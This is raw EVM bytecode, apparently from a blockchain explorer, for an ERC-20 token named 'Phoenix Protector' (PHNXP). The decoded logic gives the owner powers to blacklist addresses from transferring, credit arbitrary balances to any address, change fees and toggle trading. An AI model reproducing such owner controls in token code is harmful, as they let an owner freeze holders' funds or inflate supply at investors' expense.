925050600181019050614b14565b5085935050505092915050565b6000608082019050614b63600083018761414d565b8181036020830152614b758186614af0565b9050614b846040830185613ed6565b614b916060830184613df5565b95945050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614bd0601b83613ce0565b9150614bdb82614b9a565b602082019050919050565b60006020820190508181036000830152614bff81614bc3565b9050919050565b600060a082019050614c1b6000830188613df5565b614c28602083018761414d565b8181036040830152614c3a8186614af0565b9050614c496060830185613ed6565b614c566080830184613df5565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204eb3d867108105e904b1f5ed3bc05ccc844fda15ae2f7e1684b9ec2f1f0ade2364736f6c634300080d0033

Deployed Bytecode

0x6080604052600436106102335760003560e01c8063715018a61161012e578063bc337182116100ab578063dd62ed3e1161006f578063dd62ed3e146107dd578063e35077971461081a578063ea2f0b3714610843578063f275f64b1461086c578063f8b45b05146108955761023a565b8063bc337182146106fa578063bfd7928414610723578063c8c9b6ae14610760578063cc99689914610789578063d7a03725146107b45761023a565b80638da5cb5b116100f25780638da5cb5b14610627578063910731391461065257806395d89b411461067b5780639e78fb4f146106a6578063a9059cbb146106bd5761023a565b8063715018a61461057c5780637b41192a14610593578063818a7def146105bc5780638c0b5e22146105d35780638c32c568146105fe5761023a565b8063313ce567116101bc5780635d0044ca116101805780635d0044ca146104ad5780636b999053146104d65780636e0043c5146104ff5780636fc3eaec1461052857806370a082311461053f5761023a565b8063313ce567146103dc578063343d156d14610407578063351a964d146104305780634263ec331461045b578063437823ec146104845761023a565b80631552c88a116102035780631552c88a146102f957806318160ddd1461032257806319b6680e1461034d5780631d60c2b01461037657806323b872dd1461039f5761023a565b8062b8cf2a1461023f578063061c82d01461026857806306fdde0314610291578063095ea7b3146102bc5761023a565b3661023a57005b600080fd5b34801561024b57600080fd5b5061026660048036038101906102619190613c29565b6108c0565b005b34801561027457600080fd5b5061028f600480360381019061028a9190613ca8565b6109ea565b005b34801561029d57600080fd5b506102a6610a89565b6040516102b39190613d5d565b60405180910390f35b3480156102c857600080fd5b506102e360048036038101906102de9190613d7f565b610ac6565b6040516102f09190613dda565b60405180910390f35b34801561030557600080fd5b50610320600480360381019061031b9190613ca8565b610ae4565b005b34801561032e57600080fd5b50610337610bc6565b6040516103449190613e04565b60405180910390f35b34801561035957600080fd5b50610374600480360381019061036f9190613ca8565b610bd0565b005b34801561038257600080fd5b5061039d60048036038101906103989190613ca8565b610cb2565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190613e1f565b610d51565b6040516103d39190613dda565b60405180910390f35b3480156103e857600080fd5b506103f1610e2a565b6040516103fe9190613e8e565b60405180910390f35b34801561041357600080fd5b5061042e60048036038101906104299190613ea9565b610e33565b005b34801561043c57600080fd5b50610445610f0c565b6040516104529190613dda565b60405180910390f35b34801561046757600080fd5b50610482600480360381019061047d9190613ca8565b610f23565b005b34801561049057600080fd5b506104ab60048036038101906104a69190613ea9565b610fc2565b005b3480156104b957600080fd5b506104d460048036038101906104cf9190613ca8565b6110b2565b005b3480156104e257600080fd5b506104fd60048036038101906104f89190613ea9565b611151565b005b34801561050b57600080fd5b5061052660048036038101906105219190613ca8565b611241565b005b34801561053457600080fd5b5061053d611323565b005b34801561054b57600080fd5b5061056660048036038101906105619190613ea9565b611334565b6040516105739190613e04565b60405180910390f35b34801561058857600080fd5b5061059161137d565b005b34801561059f57600080fd5b506105ba60048036038101906105b59190613ca8565b6114d0565b005b3480156105c857600080fd5b506105d161156f565b005b3480156105df57600080fd5b506105e86116dd565b6040516105f59190613e04565b60405180910390f35b34801561060a57600080fd5b5061062560048036038101906106209190613d7f565b6116e7565b005b34801561063357600080fd5b5061063c61197c565b6040516106499190613ee5565b60405180910390f35b34801561065e57600080fd5b5061067960048036038101906106749190613c29565b6119a5565b005b34801561068757600080fd5b50610690611acf565b60405161069d9190613d5d565b60405180910390f35b3480156106b257600080fd5b506106bb611b0c565b005b3480156106c957600080fd5b506106e460048036038101906106df9190613d7f565b611ee1565b6040516106f19190613dda565b60405180910390f35b34801561070657600080fd5b50610721600480360381019061071c9190613ca8565b611eff565b005b34801561072f57600080fd5b5061074a60048036038101906107459190613ea9565b611fac565b6040516107579190613dda565b60405180910390f35b34801561076c57600080fd5b5061078760048036038101906107829190613ea9565b611fcc565b005b34801561079557600080fd5b5061079e6120a5565b6040516107ab9190613dda565b60405180910390f35b3480156107c057600080fd5b506107db60048036038101906107d69190613d7f565b6120bc565b005b3480156107e957600080fd5b5061080460048036038101906107ff9190613f00565b61222e565b6040516108119190613e04565b60405180910390f35b34801561082657600080fd5b50610841600480360381019061083c9190613ca8565b6122b5565b005b34801561084f57600080fd5b5061086a60048036038101906108659190613ea9565b612354565b005b34801561087857600080fd5b50610893600480360381019061088e9190613f6c565b612444565b005b3480156108a157600080fd5b506108aa6124f5565b6040516108b79190613e04565b60405180910390f35b6108c86125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610955576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094c90613fe5565b60405180910390fd5b60005b81518110156109e65760016005600084848151811061097a57610979614005565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109de90614063565b915050610958565b5050565b6109f26125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7690613fe5565b60405180910390fd5b8060088190555050565b60606040518060400160405280601181526020017f50686f656e69782050726f746563746f72000000000000000000000000000000815250905090565b6000610ada610ad36125c3565b84846125cb565b6001905092915050565b610aec6125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7090613fe5565b60405180910390fd5b60648110610bbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb3906140f7565b60405180910390fd5b80600c8190555050565b6000600654905090565b610bd86125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5c90613fe5565b60405180910390fd5b60648110610ca8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9f906140f7565b60405180910390fd5b80600e8190555050565b610cba6125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3e90613fe5565b60405180910390fd5b80600a8190555050565b6000610d5e848484612794565b610e1f84610d6a6125c3565b610e1a85604051806060016040528060288152602001614c6160289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610dd06125c3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612de69092919063ffffffff16565b6125cb565b600190509392505050565b60006008905090565b610e3b6125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebf90613fe5565b60405180910390fd5b80601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000601460169054906101000a900460ff16905090565b610f2b6125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610faf90613fe5565b60405180910390fd5b8060098190555050565b610fca6125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611057576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104e90613fe5565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6110ba6125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611147576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113e90613fe5565b60405180910390fd5b8060128190555050565b6111596125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111dd90613fe5565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6112496125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cd90613fe5565b60405180910390fd5b60648110611319576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611310906140f7565b60405180910390fd5b80600d8190555050565b600047905061133181612e4a565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6113856125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611412576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140990613fe5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6114d86125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611565576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155c90613fe5565b60405180910390fd5b80600b8190555050565b6115776125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fb90613fe5565b60405180910390fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061164d30611334565b60008061165861197c565b426040518863ffffffff1660e01b815260040161167a9695949392919061415c565b60606040518083038185885af1158015611698573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906116bd91906141d2565b5050506001601460166101000a81548160ff021916908315150217905550565b6000601154905090565b6116ef6125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461177c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177390613fe5565b60405180910390fd5b6305f5e1008161178c9190614225565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611804906142f1565b60405180910390fd5b61186e6305f5e100826118209190614225565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612eec90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506305f5e100816118c19190614225565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6305f5e100846119639190614225565b6040516119709190613e04565b60405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6119ad6125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3190613fe5565b60405180910390fd5b60005b8151811015611acb57600160046000848481518110611a5f57611a5e614005565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611ac390614063565b915050611a3d565b5050565b60606040518060400160405280600681526020017f50484e4958500000000000000000000000000000000000000000000000000000815250905090565b611b146125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ba1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9890613fe5565b60405180910390fd5b60148054906101000a900460ff1615611bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be69061435d565b60405180910390fd5b611c1e30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006546125cb565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611caf9190614392565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d5c9190614392565b6040518363ffffffff1660e01b8152600401611d799291906143bf565b6020604051808303816000875af1158015611d98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dbc9190614392565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611e9b9291906143e8565b6020604051808303816000875af1158015611eba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ede9190614426565b50565b6000611ef5611eee6125c3565b8484612794565b6001905092915050565b611f076125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8b90613fe5565b60405180910390fd5b6011548111611fa257600080fd5b8060118190555050565b60056020528060005260406000206000915054906101000a900460ff1681565b611fd46125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612061576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205890613fe5565b60405180910390fd5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000601460159054906101000a900460ff16905090565b6120c46125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612151576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214890613fe5565b60405180910390fd5b6305f5e100816121619190614225565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546121af9190614453565b925050819055508173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6305f5e100846122159190614225565b6040516122229190613e04565b60405180910390a35050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6122bd6125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461234a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234190613fe5565b60405180910390fd5b8060078190555050565b61235c6125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e090613fe5565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61244c6125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d090613fe5565b60405180910390fd5b806014806101000a81548160ff02191690831515021790555050565b6000601254905090565b60008083036125115760009050612573565b6000828461251f9190614225565b905082848261252e91906144d8565b1461256e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125659061457b565b60405180910390fd5b809150505b92915050565b60006125bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612f36565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361263a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126319061460d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036126a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a09061469f565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516127879190613e04565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612803576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127fa90614731565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612872576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612869906147c3565b60405180910390fd5b600081116128b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128ac90614855565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129595750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161298f906148c1565b60405180910390fd5b6129a061197c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612a0e57506129de61197c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612d2657601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015612abe5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b145750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612c0457601154811115612b5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b559061492d565b60405180910390fd5b60148054906101000a900460ff16612bab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ba290614999565b60405180910390fd5b60125481612bb884611334565b612bc29190614453565b1115612c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bfa90614a05565b60405180910390fd5b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612c6c57612c61612f99565b600881905550612c7b565b612c74612fb0565b6008819055505b6000612c8630611334565b9050601460159054906101000a900460ff16158015612cf35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015612d0b5750601460169054906101000a900460ff165b15612d24576007548110612d2357612d2281612fc7565b5b5b505b612de1838383600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612dcd5750600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612dd957600854612ddc565b60005b61315a565b505050565b6000838311158290612e2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e259190613d5d565b60405180910390fd5b5060008385612e3d9190614a25565b9050809150509392505050565b6000612e746064612e66600e54856124ff90919063ffffffff16565b61257990919063ffffffff16565b9050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612ede573d6000803e3d6000fd5b50612ee8476133c7565b5050565b6000612f2e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612de6565b905092915050565b60008083118290612f7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f749190613d5d565b60405180910390fd5b5060008385612f8c91906144d8565b9050809150509392505050565b6000600954600b54612fab9190614453565b905090565b6000600a54600b54612fc29190614453565b905090565b6001601460156101000a81548160ff021916908315150217905550600061300c6064612ffe600c54856124ff90919063ffffffff16565b61257990919063ffffffff16565b90506000613038606461302a600d54866124ff90919063ffffffff16565b61257990919063ffffffff16565b9050600061304f82846136bd90919063ffffffff16565b905060006130668286612eec90919063ffffffff16565b9050600061307d82856136bd90919063ffffffff16565b9050600061309560028761257990919063ffffffff16565b905060006130ac8288612eec90919063ffffffff16565b905060004790506130ce6130c985856136bd90919063ffffffff16565b61371b565b60006130e38247612eec90919063ffffffff16565b90506130ef818461395e565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56184828560405161312293929190614a59565b60405180910390a161313386612e4a565b5050505050505050506000601460156101000a81548160ff02191690831515021790555050565b6000613182606461317484866124ff90919063ffffffff16565b61257990919063ffffffff16565b905060006131998285612eec90919063ffffffff16565b90506131ed84600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612eec90919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328281600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136bd90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331782600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136bd90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516133b79190613e04565b60405180910390a3505050505050565b6000600267ffffffffffffffff8111156133e4576133e3613a88565b5b6040519080825280602002602001820160405280156134125781602001602082028036833780820191505090505b509050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613482573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134a69190614392565b816000815181106134ba576134b9614005565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061352b5761352a614005565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613622601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156135d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906135f99190614392565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846125cb565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de958360008461dead426040518663ffffffff1660e01b81526004016136879493929190614b4e565b6000604051808303818588803b1580156136a057600080fd5b505af11580156136b4573d6000803e3d6000fd5b50505050505050565b60008082846136cc9190614453565b905083811015613711576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161370890614be6565b60405180910390fd5b8091505092915050565b6000600267ffffffffffffffff81111561373857613737613a88565b5b6040519080825280602002602001820160405280156137665781602001602082028036833780820191505090505b509050308160008151811061377e5761377d614005565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613825573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906138499190614392565b8160018151811061385d5761385c614005565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506138c430601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846125cb565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613928959493929190614c06565b600060405180830381600087803b15801561394257600080fd5b505af1158015613956573d6000803e3d6000fd5b505050505050565b61398b30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836125cb565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198330846000806139d761197c565b426040518863ffffffff1660e01b81526004016139f99695949392919061415c565b60606040518083038185885af1158015613a17573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613a3c91906141d2565b5050506001601460166101000a81548160ff0219169083151502179055505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b613ac082613a77565b810181811067ffffffffffffffff82111715613adf57613ade613a88565b5b80604052505050565b6000613af2613a5e565b9050613afe8282613ab7565b919050565b600067ffffffffffffffff821115613b1e57613b1d613a88565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613b5f82613b34565b9050919050565b613b6f81613b54565b8114613b7a57600080fd5b50565b600081359050613b8c81613b66565b92915050565b6000613ba5613ba084613b03565b613ae8565b90508083825260208201905060208402830185811115613bc857613bc7613b2f565b5b835b81811015613bf15780613bdd8882613b7d565b845260208401935050602081019050613bca565b5050509392505050565b600082601f830112613c1057613c0f613a72565b5b8135613c20848260208601613b92565b91505092915050565b600060208284031215613c3f57613c3e613a68565b5b600082013567ffffffffffffffff811115613c5d57613c5c613a6d565b5b613c6984828501613bfb565b91505092915050565b6000819050919050565b613c8581613c72565b8114613c9057600080fd5b50565b600081359050613ca281613c7c565b92915050565b600060208284031215613cbe57613cbd613a68565b5b6000613ccc84828501613c93565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613d0f578082015181840152602081019050613cf4565b83811115613d1e576000848401525b50505050565b6000613d2f82613cd5565b613d398185613ce0565b9350613d49818560208601613cf1565b613d5281613a77565b840191505092915050565b60006020820190508181036000830152613d778184613d24565b905092915050565b60008060408385031215613d9657613d95613a68565b5b6000613da485828601613b7d565b9250506020613db585828601613c93565b9150509250929050565b60008115159050919050565b613dd481613dbf565b82525050565b6000602082019050613def6000830184613dcb565b92915050565b613dfe81613c72565b82525050565b6000602082019050613e196000830184613df5